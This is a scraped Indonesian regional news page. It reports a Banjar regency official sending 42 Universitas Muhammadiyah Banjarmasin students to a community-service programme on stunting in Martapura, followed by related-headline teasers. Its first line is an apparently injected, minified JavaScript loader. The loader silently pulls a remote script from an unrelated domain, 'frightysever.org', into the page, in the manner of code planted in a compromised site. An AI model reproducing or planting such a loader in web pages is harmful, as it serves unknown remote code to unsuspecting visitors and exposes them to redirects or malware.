(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Asisten Bidang Perekonomian dan Pembangunan Ikhwansyah mewakili Bupati Banjar H Saidi Mansyur melepas 42 Mahasiswa Universitas Muhammadiyah (UM) Banjarmasin yang mengikuti KKN ke-8 Tematik Stunting di Martapura, Selasa (30/1/2024) pagi.
Ikhwansyah mengatakan, program KKN sebagai wadah nyata kolaborasi antara perguruan tinggi, pemerintah daerah dan masyarakat untuk dapat memberikan kontribusi yang signifikan bagi kemajuan Kabupaten Banjar.
“Mahasiswa sebagai agen perubahan berperan memberikan edukasi kepada masyarakat, penguatan dan pendampingan kader hingga pendampingan program dapur sehat atasi stunting menjadi landasan utama dalam upaya membangun desa yang sehat,” katanya.
Baca juga: Sentra Gakkumdu Berperan Wujudkan Pemilu Berintegritas
Dia mengajak mahasiswa untuk menjalankan tugas dengan penuh tanggung jawab, kepedulian dan kreativitas serta saling belajar dan berbagi pengalaman dengan masyarakat yang merupakan kunci kesuksesan dalam membangun desa.
“Kami sangat mengapresiasi atas dedikasi civitas akademika UM Banjarmasin khususnya dosen pembimbing lapangan dan seluruh tim pendukung KKN tematik stunting atas kerja kerasnya dalam mempersiapkan mahasiswa untuk tugas mulia ini,” ujar Ikhwan.
Sementara itu Ketua Pelaksana KKN Tematik UM Banjarmasin, Muhammad Anshari menjelaskan, jumlah total mahasiswa yang mengikuti KKN 115 tersebar di tiga kabupaten yaitu Kabupaten Banjar, Tanahlaut dan Batola.
Baca juga: Tergeletak Tak Bernyawa di Tempat Wudhu Masjid Al Karomah Martapura
Khusus Kabupaten Banjar di tempatkan di empat kecamatan terdiri dari 4 desa, yaitu Desa Pinggiran Ilir 9 mahasiswa, Simpang Tiga 10, Biih 11 dan Desa Mangkauk 12. Total 42 mahasiswa bertugas selama 2 bulan.
Mahasiswa tersebut berasal dari Fakultas Psikologi, Teknik Sipil, Teknik Informatika, Teknik Pengembangan Wilayah Kota dan FKIP.
Baca juga: Dua Pengedar Sabu di Desa Pasar Senin Ditangkap
Anshari berharap KKN ini dapat menghasilkan ragam manfaat yang nyata baik secara langsung maupun tidak, sebagai inisiator pergerakan di level masyarakat untuk memotivasi kesadaran penuntasan stunting khususnya.
“Hendaknya mahasiswa menjaga adab dan sikap serta mematuhi aturan dan norma yang berlaku di masyarakat agar KKN ini dapat berjalan lancar sehingga memberikan hasil yang diharapkan,” tutup dia. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
This website uses cookies.